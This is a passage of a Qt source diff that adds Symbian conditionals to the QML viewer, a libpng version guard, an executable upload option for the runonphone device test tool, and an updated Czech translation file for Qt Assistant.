showWarningsWindow = new QAction(tr("Show Warnings"), this);
+#if !defined(Q_OS_SYMBIAN)
showWarningsWindow->setCheckable((true));
showWarningsWindow->setChecked(loggerWindow->isVisible());
+#endif
connect(showWarningsWindow, SIGNAL(triggered(bool)), this, SLOT(showWarnings(bool)));
QAction *proxyAction = new QAction(tr("HTTP &Proxy..."), this);
@@ -780,9 +781,11 @@ void QDeclarativeViewer::createMenu()
aboutAction->setMenuRole(QAction::AboutQtRole);
connect(aboutAction, SIGNAL(triggered()), qApp, SLOT(aboutQt()));
+#if !defined(Q_OS_SYMBIAN)
QAction *closeAction = new QAction(tr("&Close"), this);
closeAction->setShortcuts(QKeySequence::Close);
connect(closeAction, SIGNAL(triggered()), this, SLOT(close()));
+#endif
QAction *quitAction = new QAction(tr("&Quit"), this);
quitAction->setMenuRole(QAction::QuitRole);
@@ -818,19 +821,19 @@ void QDeclarativeViewer::createMenu()
fileMenu->addAction(openAction);
fileMenu->addAction(openUrlAction);
fileMenu->addAction(reloadAction);
+#if !defined(Q_OS_SYMBIAN)
fileMenu->addSeparator();
fileMenu->addAction(closeAction);
-#if !defined(Q_OS_SYMBIAN)
fileMenu->addAction(quitAction);
QMenu *recordMenu = menu->addMenu(tr("&Recording"));
recordMenu->addAction(snapshotAction);
recordMenu->addAction(recordAction);
+#endif // ! Q_OS_SYMBIAN
QMenu *debugMenu = menu->addMenu(tr("&Debugging"));
debugMenu->addAction(slowAction);
debugMenu->addAction(showWarningsWindow);
-#endif // ! Q_OS_SYMBIAN
QMenu *settingsMenu = menu->addMenu(tr("&Settings"));
settingsMenu->addAction(proxyAction);
@@ -914,7 +917,11 @@ void QDeclarativeViewer::toggleFullScreen()
void QDeclarativeViewer::showWarnings(bool show)
{
+#if defined(Q_OS_SYMBIAN)
+ loggerWindow->showMaximized();
+#else
loggerWindow->setVisible(show);
+#endif
}
void QDeclarativeViewer::warningsWidgetOpened()
diff --git a/tools/qvfb/qanimationwriter.cpp b/tools/qvfb/qanimationwriter.cpp
index 74a7b5f..c91a916 100644
--- a/tools/qvfb/qanimationwriter.cpp
+++ b/tools/qvfb/qanimationwriter.cpp
@@ -112,9 +112,11 @@ public:
void writePNG(const QImage& image)
{
-#ifndef QT_LINUXBASE
+#if !defined(QT_LINUXBASE) && \
+ (PNG_LIBPNG_VER_MAJOR < 1 || (PNG_LIBPNG_VER_MAJOR == 1 && PNG_LIBPNG_VER_MINOR <= 4))
// LSB disallows accessing the info_ptr directly. LSB's png_set_IHDR sets
- // the channels anyways, so just comment it out for LSB usage
+ // the channels anyways, so just comment it out for LSB usage.
+ // In libpng >= 1.5, the png_info struct is no longer exported.
info_ptr->channels = 4;
#endif
png_set_sig_bytes(png_ptr, 8); // Pretend we already wrote the sig
diff --git a/tools/runonphone/main.cpp b/tools/runonphone/main.cpp
index 9390fb4..5281544 100644
--- a/tools/runonphone/main.cpp
+++ b/tools/runonphone/main.cpp
@@ -56,12 +56,13 @@
void printUsage(QTextStream& outstream, QString exeName)
{
outstream << exeName << " [options] [program] [program arguments]" << endl
- << "-s, --sis <file> specify sis file to install" << endl
+ << "-s, --sis <local file> specify sis file to install" << endl
<< "-p, --portname <COMx> specify COM port to use by device name" << endl
<< "-f, --portfriendlyname <substring> specify COM port to use by friendly name" << endl
<< "-t, --timeout <milliseconds> terminate test if timeout occurs" << endl
<< "-v, --verbose show debugging output" << endl
<< "-q, --quiet hide progress messages" << endl
+ << "-u, --upload <local file> upload executable file to phone" << endl
<< "-d, --download <remote file> <local file> copy file from phone to PC after running test" << endl
<< "--nocrashlog Don't capture call stack if test crashes" << endl
<< "--crashlogpath <dir> Path to save crash logs (default=working dir)" << endl
@@ -84,6 +85,7 @@ int main(int argc, char *argv[])
QStringList args = QCoreApplication::arguments();
QTextStream outstream(stdout);
QTextStream errstream(stderr);
+ QString uploadLocalFile;
QString downloadRemoteFile;
QString downloadLocalFile;
int loglevel=1;
@@ -112,6 +114,18 @@ int main(int argc, char *argv[])
return 1;
}
}
+ else if (arg == "--upload" || arg == "-u") {
+ CHECK_PARAMETER_EXISTS
+ uploadLocalFile = it.next();
+ if (!QFileInfo(uploadLocalFile).exists()) {
+ errstream << "Executable file (" << uploadLocalFile << ") doesn't exist" << endl;
+ return 1;
+ }
+ if (!(QFileInfo(uploadLocalFile).suffix() == "exe")) {
+ errstream << "File (" << uploadLocalFile << ") must be an executable" << endl;
+ return 1;
+ }
+ }
else if (arg == "--download" || arg == "-d") {
CHECK_PARAMETER_EXISTS
downloadRemoteFile = it.next();
@@ -147,12 +161,18 @@ int main(int argc, char *argv[])
}
}
- if (exeFile.isEmpty() && sisFile.isEmpty() &&
+ if (exeFile.isEmpty() && sisFile.isEmpty() && uploadLocalFile.isEmpty() &&
(downloadLocalFile.isEmpty() || downloadRemoteFile.isEmpty())) {
printUsage(outstream, args[0]);
return 1;
}
+ if (!uploadLocalFile.isEmpty() && (!downloadLocalFile.isEmpty() || !downloadRemoteFile.isEmpty())) {
+ errstream << "Upload option can't be used together with download" << endl;
+ printUsage(outstream, args[0]);
+ return 1;
+ }
+
if (serialPortName.isEmpty()) {
if (loglevel > 0)
outstream << "Detecting serial ports" << endl;
@@ -182,19 +202,20 @@ int main(int argc, char *argv[])
QScopedPointer<trk::Launcher> launcher;
launcher.reset(new trk::Launcher(trk::Launcher::ActionPingOnly));
- QFileInfo info(exeFile);
+ QFileInfo exeInfo(exeFile);
+ QFileInfo uploadInfo(uploadLocalFile);
if (!sisFile.isEmpty()) {
launcher->addStartupActions(trk::Launcher::ActionCopyInstall);
launcher->setCopyFileName(sisFile, "c:\\data\\testtemp.sis");
launcher->setInstallFileName("c:\\data\\testtemp.sis");
}
- else if (info.exists()) {
+ else if (!uploadLocalFile.isEmpty() && uploadInfo.exists()) {
launcher->addStartupActions(trk::Launcher::ActionCopy);
- launcher->setCopyFileName(exeFile, QString("c:\\sys\\bin\\") + info.fileName());
+ launcher->setCopyFileName(uploadLocalFile, QString("c:\\sys\\bin\\") + uploadInfo.fileName());
}
if (!exeFile.isEmpty()) {
launcher->addStartupActions(trk::Launcher::ActionRun);
- launcher->setFileName(QString("c:\\sys\\bin\\") + info.fileName());
+ launcher->setFileName(QString("c:\\sys\\bin\\") + exeInfo.fileName());
launcher->setCommandLineArgs(cmdLine);
}
if (!downloadRemoteFile.isEmpty() && !downloadLocalFile.isEmpty()) {
diff --git a/tools/shared/symbian/epocroot.cpp b/tools/shared/symbian/epocroot.cpp
index e128cd2..5e6bc12 100644
--- a/tools/shared/symbian/epocroot.cpp
+++ b/tools/shared/symbian/epocroot.cpp
@@ -99,6 +99,11 @@ static void fixEpocRoot(QString &path)
if (!path.size() || path[path.size()-1] != QLatin1Char('/')) {
path += QLatin1Char('/');
}
+#ifdef Q_OS_WIN32
+ // Make sure we have drive letter in epocroot
+ if (path.startsWith(QLatin1Char('/')))
+ path.prepend(QDir::currentPath().left(2));
+#endif
}
/**
diff --git a/translations/assistant_cs.ts b/translations/assistant_cs.ts
index 2156187..9b9e486 100644..100755
--- a/translations/assistant_cs.ts
+++ b/translations/assistant_cs.ts
@@ -4,7 +4,6 @@
<context>
<name>AboutDialog</name>
<message>
- <location filename="../tools/assistant/tools/assistant/aboutdialog.cpp" line="+110"/>
<source>&amp;Close</source>
<translation>&amp;Zavřít</translation>
</message>
@@ -12,427 +11,886 @@
<context>
<name>AboutLabel</name>
<message>
- <location line="-14"/>
<source>Warning</source>
<translation>Varování</translation>
</message>
<message>
- <location line="+1"/>
<source>Unable to launch external application.
</source>
<translation>Chyba při spouštění vnější aplikace.
</translation>
</message>
<message>
- <location line="+1"/>
<source>OK</source>
<translation>OK</translation>
</message>
</context>
<context>
+ <name>Assistant</name>
+ <message>
+ <source>Error registering documentation file &apos;%1&apos;: %2</source>
+ <translation>Chyba při záznamu souboru s dokumentací &apos;%1&apos;: %2</translation>
+ </message>
+ <message>
+ <source>Error: %1</source>
+ <translation>Chyba: %1</translation>
+ </message>
+ <message>
+ <source>Could not register documentation file
+%1
+
+Reason:
+%2</source>
+ <translation>Soubor s dokumentací %1 nelze zaznamenat
+
+Důvod:
+%2</translation>
+ </message>
+ <message>
+ <source>Documentation successfully registered.</source>
+ <translation>Dokumentace byla úspěšně zaznamenána.</translation>
+ </message>
+ <message>
+ <source>Could not unregister documentation file
+%1
+
+Reason:
+%2</source>
+ <translation>Zaznamenání souboru s dokumentací %1 nelze zrušit
+
+Grund:
+%2</translation>
+ </message>
+ <message>
+ <source>Documentation successfully unregistered.</source>
+ <translation>Dokumentace byla úspěšně odstraněna.</translation>
+ </message>
+ <message>
+ <source>Error reading collection file &apos;%1&apos;: %2.</source>
+ <translation>Chyba při čtení sbírkového souboru &apos;%1&apos;: %2.</translation>
+ </message>
+ <message>
+ <source>Error creating collection file &apos;%1&apos;: %2.</source>
+ <translation>Chyba při vytváření sbírkového souboru &apos;%1&apos;: %2.</translation>
+ </message>
+ <message>
+ <source>Cannot load sqlite database driver!</source>
+ <translation>Databázový ovladač pro SQLite nelze nahrát!</translation>
+ </message>
+</context>
+<context>
<name>BookmarkDialog</name>
<message>
- <location filename="../tools/assistant/tools/assistant/bookmarkdialog.ui"/>
<source>Add Bookmark</source>
<translation>Přidat záložku</translation>
</message>
<message>
- <location/>
<source>Bookmark:</source>
<translation>Záložka:</translation>
</message>
<message>
- <location/>
<source>Add in Folder:</source>
<translation>Zřídit ve složce:</translation>
</message>
<message>
- <location/>
<source>New Folder</source>
<translation>Nová složka</translation>
</message>
<message>
- <location filename="../tools/assistant/tools/assistant/bookmarkmanager.cpp" line="+184"/>
- <location line="+18"/>
- <location line="+39"/>
- <location line="+18"/>
- <location line="+30"/>
<source>Bookmarks</source>
- <translation>Záložky</translation>
+ <translation type="obsolete">Záložky</translation>
</message>
<message>
- <location filename="../tools/assistant/tools/assistant/bookmarkdialog.ui"/>
<source>+</source>
<translation>+</translation>
</message>
<message>
- <location filename="../tools/assistant/tools/assistant/bookmarkmanager.cpp" line="-61"/>
<source>Delete Folder</source>
- <translation>Smazat složku</translation>
+ <translation type="obsolete">Smazat složku</translation>
</message>
<message>
- <location line="+1"/>
<source>Rename Folder</source>
<translation>Přejmenovat složku</translation>
</message>
</context>
<context>
+ <name>BookmarkItem</name>
+ <message>
+ <source>New Folder</source>
+ <translation>Nová složka</translation>
+ </message>
+ <message>
+ <source>Untitled</source>
+ <translation>Bez názvu</translation>
+ </message>
+</context>
+<context>
<name>BookmarkManager</name>
<message>
- <location line="+434"/>
<source>Bookmarks</source>
- <translation>Záložky</translation>
+ <translation type="obsolete">Záložky</translation>
+ </message>
+ <message>
+ <source>Untitled</source>
+ <translation>Bez názvu</translation>
</message>
<message>
- <location line="+37"/>
<source>Remove</source>
<translation>Odstranit</translation>
</message>
<message>
- <location line="+1"/>
<source>You are going to delete a Folder, this will also&lt;br&gt;remove it&apos;s content. Are you sure to continue?</source>
<translation>Když smažete tuto složku, bude smazán i &lt;br&gt;celý její obsah. Opravdu chcete pokračovat?</translation>
</message>
<message>
- <location line="+143"/>
- <location line="+9"/>
+ <source>Manage Bookmarks...</source>
+ <translation>Spravovat záložky...</translation>
+ </message>
+ <message>
+ <source>Add Bookmark...</source>
+ <translation>Přidat záložku...</translation>
+ </message>
+ <message>
+ <source>Ctrl+D</source>
+ <translation>Ctrl+D</translation>
+ </message>
+ <message>
+ <source>Delete Folder</source>
+ <translation>Smazat složku</translation>
+ </message>
+ <message>
+ <source>Rename Folder</source>
+ <translation>Přejmenovat složku</translation>
+ </message>
+ <message>
+ <source>Show Bookmark</source>
+ <translation>Ukázat záložku</translation>
+ </message>
+ <message>
+ <source>Show Bookmark in New Tab</source>
+ <translation>Ukázat záložku v nové kartě</translation>
+ </message>
+ <message>
+ <source>Delete Bookmark</source>
+ <translation>Smazat záložku</translation>
+ </message>
+ <message>
+ <source>Rename Bookmark</source>
+ <translation>Přejmenovat záložku</translation>
+ </message>
+ <message>
<source>New Folder</source>
- <translation>Nová složka</translation>
+ <translation type="obsolete">Nová složka</translation>
</message>
</context>
<context>
- <name>BookmarkWidget</name>
+ <name>BookmarkManagerWidget</name>
<message>
- <location line="-416"/>
- <source>Filter:</source>
- <translation>Filtr:</translation>
+ <source>Manage Bookmarks</source>
+ <translation>Spravovat záložky</translation>
+ </message>
+ <message>
+ <source>Search:</source>
+ <translation>Hledat:</translation>
</message>
<message>
- <location line="+33"/>
<source>Remove</source>
<translation>Odstranit</translation>
</message>
<message>
- <location line="-79"/>
+ <source>Import and Backup</source>
+ <translation>Zavést a zazálohovat</translation>
+ </message>
+ <message>
+ <source>OK</source>
+ <translation>OK</translation>
+ </message>
+ <message>
+ <source>Import...</source>
+ <translation>Zavést...</translation>
+ </message>
+ <message>
+ <source>Export...</source>
+ <translation>Vyvést...</translation>
+ </message>
+ <message>
+ <source>Open File</source>
+ <translation>Otevřít soubor</translation>
+ </message>
+ <message>
+ <source>Files (*.xbel)</source>
+ <translation>Soubory XBEL (*.xbel)</translation>
+ </message>
+ <message>
+ <source>Save File</source>
+ <translation>Uložit soubor</translation>
+ </message>
+ <message>
+ <source>Qt Assistant</source>
+ <translation>Qt Assistant</translation>
+ </message>
+ <message>
+ <source>Unable to save bookmarks.</source>
+ <translation>Nelze uložit záložky.</translation>
+ </message>
+ <message>
+ <source>You are goingto delete a Folder, this will also&lt;br&gt; remove it&apos;s content. Are you sure to continue?</source>
+ <translation>Chystáte se smazat složku, což &lt;br&gt; odstraní i její obsah. Jste si jistý, že chcete pokračovat?</translation>
+ </message>
+ <message>
<source>Delete Folder</source>
<translation>Smazat složku</translation>
</message>
<message>
- <location line="+1"/>
<source>Rename Folder</source>
<translation>Přejmenovat složku</translation>
</message>
<message>
- <location line="+2"/>
<source>Show Bookmark</source>
<translation>Ukázat záložku</translation>
</message>
<message>
- <location line="+1"/>
<source>Show Bookmark in New Tab</source>
<translation>Ukázat záložku v nové kartě</translation>
</message>
<message>
- <location line="+3"/>
<source>Delete Bookmark</source>
<translation>Smazat záložku</translation>
</message>
<message>
- <location line="+1"/>
<source>Rename Bookmark</source>
<translation>Přejmenovat záložku</translation>
</message>
+</context>
+<context>
+ <name>BookmarkModel</name>
+ <message>
+ <source>Name</source>
+ <translation>Název</translation>
+ </message>
+ <message>
+ <source>Address</source>
+ <translation>Adresa</translation>
+ </message>
+ <message>
+ <source>Bookmarks Menu</source>
+ <translation>Nabídka se záložkami</translation>
+ </message>
+</context>
+<context>
+ <name>BookmarkWidget</name>
+ <message>
+ <source>Filter:</source>
+ <translation>Filtr:</translation>
+ </message>
+ <message>
+ <source>Remove</source>
+ <translation>Odstranit</translation>
+ </message>
+ <message>
+ <source>Delete Folder</source>
+ <translation type="obsolete">Smazat složku</translation>
+ </message>
+ <message>
+ <source>Rename Folder</source>
+ <translation type="obsolete">Přejmenovat složku</translation>
+ </message>
+ <message>
+ <source>Show Bookmark</source>
+ <translation type="obsolete">Ukázat záložku</translation>
+ </message>
+ <message>
+ <source>Show Bookmark in New Tab</source>
+ <translation type="obsolete">Ukázat záložku v nové kartě</translation>
+ </message>
+ <message>
+ <source>Delete Bookmark</source>
+ <translation type="obsolete">Smazat záložku</translation>
+ </message>
+ <message>
+ <source>Rename Bookmark</source>
+ <translation type="obsolete">Přejmenovat záložku</translation>
+ </message>
<message>
- <location line="+62"/>
<source>Add</source>
<translation>Přidat</translation>
</message>
+ <message>
+ <source>Bookmarks</source>
+ <translation>Záložky</translation>
+ </message>
</context>
<context>
<name>CentralWidget</name>
<message>
- <location filename="../tools/assistant/tools/assistant/centralwidget.cpp" line="+238"/>
<source>Add new page</source>
<translation>Přidat novou stranu</translation>
</message>
<message>
- <location line="+9"/>
<source>Close current page</source>
<translation>Zavřít současnou stranu</translation>
</message>
<message>
- <location line="+312"/>
<source>Print Document</source>
<translation>Vytisknout dokument</translation>
</message>
<message>
- <location line="+148"/>
- <location line="+2"/>
<source>unknown</source>
<translation>Neznámý</translation>
</message>
<message>
- <location line="+93"/>
<source>Add New Page</source>
<translation>Přidat novou stranu</translation>
</message>
<message>
- <location line="+3"/>
<source>Close This Page</source>
<translation>Zavřít tuto stranu</translation>
</message>
<message>
- <location line="+3"/>
<source>Close Other Pages</source>
<translation>Zavřít jiné strany</translation>
</message>
<message>
- <location line="+5"/>
<source>Add Bookmark for this Page...</source>
<translation>Přidat záložku pro tuto stranu...</translation>
</message>
<message>
- <location line="+255"/>
<source>Search</source>
<translation>Hledat</translation>
</message>
</context>
<context>
+ <name>CmdLineParser</name>
+ <message>
+ <source>Usage: assistant [Options]
+
+-collectionFile file Uses the specified collection
+ file instead of the default one
+-showUrl url Shows the document with the
+ url.
+-enableRemoteControl Enables Assistant to be
+ remotely controlled.
+-show widget Shows the specified dockwidget
+ which can be &quot;contents&quot;, &quot;index&quot;,
+ &quot;bookmarks&quot; or &quot;search&quot;.
+-activate widget Activates the specified dockwidget
+ which can be &quot;contents&quot;, &quot;index&quot;,
+ &quot;bookmarks&quot; or &quot;search&quot;.
+-hide widget Hides the specified dockwidget
+ which can be &quot;contents&quot;, &quot;index&quot;
+ &quot;bookmarks&quot; or &quot;search&quot;.
+-register helpFile Registers the specified help file
+ (.qch) in the given collection
+ file.
+-unregister helpFile Unregisters the specified help file
+ (.qch) from the give collection
+ file.
+-setCurrentFilter filter Set the filter as the active filter.
+-remove-search-index Removes the full text search index.
+-rebuild-search-index Re-builds the full text search index (potentially slow).
+-quiet Does not display any error or
+ status message.
+-help Displays this help.
+</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>Unknown option: %1</source>
+ <translation>Neznámá volba: %1</translation>
+ </message>
+ <message>
+ <source>The collection file &apos;%1&apos; does not exist.</source>
+ <translation>Sbírkový soubor &apos;%1&apos; neexistuje.</translation>
+ </message>
+ <message>
+ <source>Missing collection file.</source>
+ <translation>Chybí sbírkový soubor.</translation>
+ </message>
+ <message>
+ <source>Invalid URL &apos;%1&apos;.</source>
+ <translation>Neplatná adresa (URL) &apos;%1&apos;.</translation>
+ </message>
+ <message>
+ <source>Missing URL.</source>
+ <translation>Chybí adresa (URL).</translation>
+ </message>
+ <message>
+ <source>Unknown widget: %1</source>
+ <translation>Neznámý prvek: %1</translation>
+ </message>
+ <message>
+ <source>Missing widget.</source>
+ <translation>Chybí prvek.</translation>
+ </message>
+ <message>
+ <source>The Qt help file &apos;%1&apos; does not exist.</source>
+ <translation>Soubor s nápovědou ke Qt &apos;%1&apos; nelze najít.</translation>
+ </message>
+ <message>
+ <source>Missing help file.</source>
+ <translation>Chybí soubor s nápovědou.</translation>
+ </message>
+ <message>
+ <source>Missing filter argument.</source>
+ <translation>Chybí argument pro filtr.</translation>
+ </message>
+ <message>
+ <source>Error</source>
+ <translation>Chyba</translation>
+ </message>
+ <message>
+ <source>Notice</source>
+ <translation>Zpráva</translation>
+ </message>
+</context>
+<context>
<name>ContentWindow</name>
<message>
- <location filename="../tools/assistant/tools/assistant/contentwindow.cpp" line="+158"/>
<source>Open Link</source>
<translation>Otevřít adresu odkazu</translation>
</message>
<message>
- <location line="+1"/>
<source>Open Link in New Tab</source>
<translation>Otevřít odkaz v nové kartě</translation>
</message>
</context>
<context>
+ <name>ConversionWizard</name>
+ <message>
+ <source>Help Conversion Wizard</source>
+ <translation>Průvodce pro převod nápovědy</translation>
+ </message>
+ <message>
+ <source>Converting %1...</source>
+ <translation>Převádí se %1...</translation>
+ </message>
+ <message>
+ <source>Writing help collection file...</source>
+ <translation>Zapisuje se soubor se sbírkou s nápovědou...</translation>
+ </message>
+ <message>
+ <source>Done.</source>
+ <translation>Hotovo.</translation>
+ </message>
+</context>
+<context>
+ <name>FilesPage</name>
+ <message>
+ <source>Form</source>
+ <translation>Formulář</translation>
+ </message>
+ <message>
+ <source>Files:</source>
+ <translation>Soubory:</translation>
+ </message>
+ <message>
+ <source>Remove</source>
+ <translation>Odstranit</translation>
+ </message>
+ <message>
+ <source>Remove All</source>
+ <translation>Odstranit vše</translation>
+ </message>
+ <message>
+ <source>Unreferenced Files</source>
+ <translation>Neodkazované soubory</translation>
+ </message>
+ <message>
+ <source>Remove files which are neither referenced by a keyword nor by the TOC.</source>
+ <translation>Odstranit soubory, které nejsou odkazovány ani klíčovým slovem ani obsahem (TOC).</translation>
+ </message>
+ <message>
+ <source>&lt;p&gt;&lt;b&gt;Warning:&lt;/b&gt; When removing images or stylesheets, be aware that those files are not directly referenced by the .adp or .dcf file.&lt;/p&gt;</source>
+ <translation>&lt;p&gt;&lt;b&gt;Varování:&lt;/b&gt; Když odstraňujete obrázky nebo stylové listy, buďte si vědom, že tyto soubory nejsou přímo odkazovány souborem .adp nebo .dcf.&lt;/p&gt;</translation>
+ </message>
+</context>
+<context>
<name>FilterNameDialogClass</name>
<message>
- <location filename="../tools/assistant/tools/assistant/filternamedialog.ui"/>
<source>Add Filter Name</source>
<translation>Přidat název filtru</translation>
</message>
<message>
- <location/>
<source>Filter Name:</source>
<translation>Název filtru:</translation>
</message>
</context>
<context>
+ <name>FilterPage</name>
+ <message>
+ <source>Form</source>
+ <translation>Formulář</translation>
+ </message>
+ <message>
+ <source>Filter attributes for current documentation (comma separated list):</source>
+ <translation>Vlastnosti filtru pro nynější dokumentaci (čárkou oddělený seznam):</translation>
+ </message>
+ <message>
+ <source>Custom Filters</source>
+ <translation>Uživatelsky stanovené filtry</translation>
+ </message>
+ <message>
+ <source>1</source>
+ <translation>1</translation>
+ </message>
+ <message>
+ <source>2</source>
+ <translation>2</translation>
+ </message>
+ <message>
+ <source>Add</source>
+ <translation>Přidat</translation>
+ </message>
+ <message>
+ <source>Remove</source>
+ <translation>Odstranit</translation>
+ </message>
+ <message>
+ <source>Filter Settings</source>
+ <translation>Nastavení filtru</translation>
+ </message>
+ <message>
+ <source>Specify the filter attributes for the documentation. If filter attributes are used, also define a custom filter for it. Both the filter attributes and the custom filters are optional.</source>
+ <translation>Zadejte vlastnosti filtru pro dokumentaci. Pokud jsou používány vlastnosti filtru, měl by se pro ně stanovit i uživatelsky stanovený filtr. Jak vlastnosti filtru tak uživatelsky stanovené filtry jsou volitelné.</translation>
+ </message>
+ <message>
+ <source>Filter Name</source>
+ <translation>Název filtru</translation>
+ </message>
+ <message>
+ <source>Filter Attributes</source>
+ <translation>Vlastnosti filtru</translation>
+ </message>
+ <message>
+ <source>The custom filter &apos;%1&apos; is defined multiple times.</source>
+ <translation>Uživatelsky stanovený filtr &apos;%1&apos; je stanoven vícekrát.</translation>
+ </message>
+ <message>
+ <source>The attributes for custom filter &apos;%1&apos; are defined multiple times.</source>
+ <translation>Vlastnosti pro uživatelsky stanovený filtr &apos;%1&apos; jsou vymezeny vícekrát.</translation>
+ </message>
+ <message>
+ <source>unfiltered</source>
+ <comment>list of available documentation</comment>
+ <translation>Nefiltrováno</translation>
+ </message>
+</context>
+<context>
<name>FindWidget</name>
<message>
- <location filename="../tools/assistant/tools/assistant/centralwidget.cpp" line="-955"/>
<source>Previous</source>
<translation>Předchozí</translation>
</message>
<message>
- <location line="+4"/>
<source>Next</source>
<translation>Další</translation>
</message>
<message>
- <location line="+4"/>
<source>Case Sensitive</source>
<translation>Rozlišující velká a malá písmena</translation>
</message>
<message>
- <location line="+3"/>
<source>Whole words</source>
- <translation>Celá slova</translation>
+ <translation type="obsolete">Celá slova</translation>
</message>
<message>
- <location line="+12"/>
<source>&lt;img src=&quot;:/trolltech/assistant/images/wrap.png&quot;&gt;&amp;nbsp;Search wrapped</source>
<translation>&lt;img src=&quot;:/trolltech/assistant/images/wrap.png&quot;&gt;&amp;nbsp;Konec strany</translation>
</message>
</context>
<context>
+ <name>FinishPage</name>
+ <message>
+ <source>Converting File</source>
+ <translation>Převádí se soubor</translation>
+ </message>
+ <message>
+ <source>Creating the new Qt help files from the old ADP file.</source>
+ <translation>Vytváří se nové soubory s nápovědou Qt ze starých souborů ADP.</translation>
+ </message>
+</context>
+<context>
<name>FontPanel</name>
<message>
- <location filename="../tools/shared/fontpanel/fontpanel.cpp" line="+63"/>
<source>Font</source>
<translation>Písmo</translation>
</message>
<message>
- <location line="+11"/>
<source>&amp;Writing system</source>
<translation>Způsob &amp;psaní</translation>
</message>
<message>
- <location line="+3"/>
<source>&amp;Family</source>
<translation>&amp;Písmová rodina</translation>
</message>
<message>
- <location line="+4"/>
<source>&amp;Style</source>
<translation>&amp;Styl</translation>
</message>
<message>
- <location line="+4"/>
<source>&amp;Point size</source>
<translation>&amp;Bodová velikost</translation>
</message>
</context>
<context>
+ <name>GeneralPage</name>
+ <message>
+ <source>Form</source>
+ <translation>Formulář</translation>
+ </message>
+ <message>
+ <source>Namespace:</source>
+ <translation>Jmenný prostor:</translation>
+ </message>
+ <message>
+ <source>Virtual Folder:</source>
+ <translation>Virtuální složka:</translation>
+ </message>
+ <message>
+ <source>General Settings</source>
+ <translation>Obecná nastavení</translation>
+ </message>
+ <message>
+ <source>Specify the namespace and the virtual folder for the documentation.</source>
+ <translation>Zadejte jmenný prostor a virtuální složku pro dokumentaci.</translation>
+ </message>
+ <message>
+ <source>Namespace Error</source>
+ <translation>Chyba ve jmenném prostoru</translation>
+ </message>
+ <message>
+ <source>The namespace contains some invalid characters.</source>
+ <translation>Jmenný prostor obsahuje nějaké neplatné znaky.</translation>
+ </message>
+ <message>
+ <source>Virtual Folder Error</source>
+ <translation>Chyba ve virtuální složce</translation>
+ </message>
+ <message>
+ <source>The virtual folder contains some invalid characters.</source>
+ <translation>Virtuální složka obsahuje nějaké neplatné znaky.</translation>
+ </message>
+</context>
+<context>
+ <name>HelpEngineWrapper</name>
+ <message>
+ <source>Unfiltered</source>
+ <translation>Nefiltrováno</translation>
+ </message>
+</context>
+<context>
+ <name>HelpGenerator</name>
+ <message>
+ <source>Warning: %1</source>
+ <translation>Varování: %1</translation>
+ </message>
+</context>
+<context>
<name>HelpViewer</name>
<message>
- <location filename="../tools/assistant/tools/assistant/helpviewer.cpp" line="+492"/>
<source>Help</source>
- <translation>Nápověda</translation>
+ <translation type="obsolete">Nápověda</translation>
</message>
<message>
- <location line="+1"/>
<source>OK</source>
- <translation>OK</translation>
+ <translation type="obsolete">OK</translation>
+ </message>
+ <message>
+ <source>&lt;title&gt;about:blank&lt;/title&gt;</source>
+ <translation>&lt;title&gt;about:blank&lt;/title&gt;</translation>
</message>
<message>
- <location line="-62"/>
<source>&lt;title&gt;Error 404...&lt;/title&gt;&lt;div align=&quot;center&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;h1&gt;The page could not be found&lt;/h1&gt;&lt;br&gt;&lt;h3&gt;&apos;%1&apos;&lt;/h3&gt;&lt;/div&gt;</source>
<translation>&lt;title&gt;Chyba 404 ...&lt;/title&gt;&lt;div align=&quot;center&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;h1&gt;Stranu se nepodařilo najít.&lt;/h1&gt;&lt;br&gt;&lt;h3&gt;&apos;%1&apos;&lt;/h3&gt;&lt;/div&gt;</translation>
</message>
<message>
- <location line="+125"/>
<source>Copy &amp;Link Location</source>
<translation>&amp;Kopírovat adresu odkazu</translation>
</message>
<message>
- <location line="+3"/>
<source>Open Link in New Tab Ctrl+LMB</source>
<translation>Otevřít odkaz v nové kartě Ctrl+LMB</translation>
</message>
<message>
- <location line="-275"/>
<source>Open Link in New Tab</source>
<translation>Otevřít odkaz v nové kartě</translation>
</message>
<message>
- <location line="+209"/>
<source>Unable to launch external application.
</source>
- <translation>Chyba při spouštění vnější aplikace.
+ <translation type="obsolete">Chyba při spouštění vnější aplikace.
</translation>
</message>
</context>
<context>
+ <name>HelpWindow</name>
+ <message>
+ <source>&lt;center&gt;&lt;b&gt;Wizard Assistant&lt;/b&gt;&lt;/center&gt;</source>
+ <translation>&lt;center&gt;&lt;b&gt;Průvodce&lt;/b&gt;&lt;/center&gt;</translation>
+ </message>
+</context>
+<context>
+ <name>IdentifierPage</name>
+ <message>
+ <source>Form</source>
+ <translation>Formulář</translation>
+ </message>
+ <message>
+ <source>Create identifiers</source>
+ <translation>Vytvořit identifikátory</translation>
+ </message>
+ <message>
+ <source>Global prefix:</source>
+ <translation>Celková předpona:</translation>
+ </message>
+ <message>
+ <source>Inherit prefix from file names</source>
+ <translation>Předponu vzít z názvů souborů</translation>
+ </message>
+ <message>
+ <source>Identifiers</source>
+ <translation>Identifikátory</translation>
+ </message>
+ <message>
+ <source>This page allows you to create identifiers from the keywords found in the .adp or .dcf file.</source>
+ <translation>Tato stránka vám umožňuje vytvořit identifikátory z klíčových slov nalezených v souboru .adp nebo .dcf.</translation>
+ </message>
+</context>
+<context>
<name>IndexWindow</name>
<message>
- <location filename="../tools/assistant/tools/assistant/indexwindow.cpp" line="+66"/>
<source>&amp;Look for:</source>
<translation>&amp;Hledat:</translation>
</message>
<message>
- <location line="+68"/>
<source>Open Link</source>
<translation>Otevřít adresu odkazu</translation>
</message>
<message>
- <location line="+1"/>
<source>Open Link in New Tab</source>
<translation>Otevřít odkaz v nové kartě</translation>
</message>
</context>
<context>
+ <name>InputPage</name>
+ <message>
+ <source>Form</source>
+ <translation>Formulář</translation>
+ </message>
+ <message>
+ <source>File name:</source>
+ <translation>Název souboru:</translation>
+ </message>
+ <message>
+ <source>...</source>
+ <translation>...</translation>
+ </message>
+ <message>
+ <source>Input File</source>
+ <translation>Vstupní soubor</translation>
+ </message>
+ <message>
+ <source>Specify the .adp or .dcf file you want to convert to the new Qt help project format and/or collection format.</source>
+ <translation>Zadejte soubor .adp nebo .dcf, který chcete převést do nového formátu projektů nápovědy Qt a/nebo formátu sbírky.</translation>
+ </message>
+ <message>
+ <source>Open file</source>
+ <translation>Otevřít soubor</translation>
+ </message>
+ <message>
+ <source>Qt Help Files (*.adp *.dcf)</source>
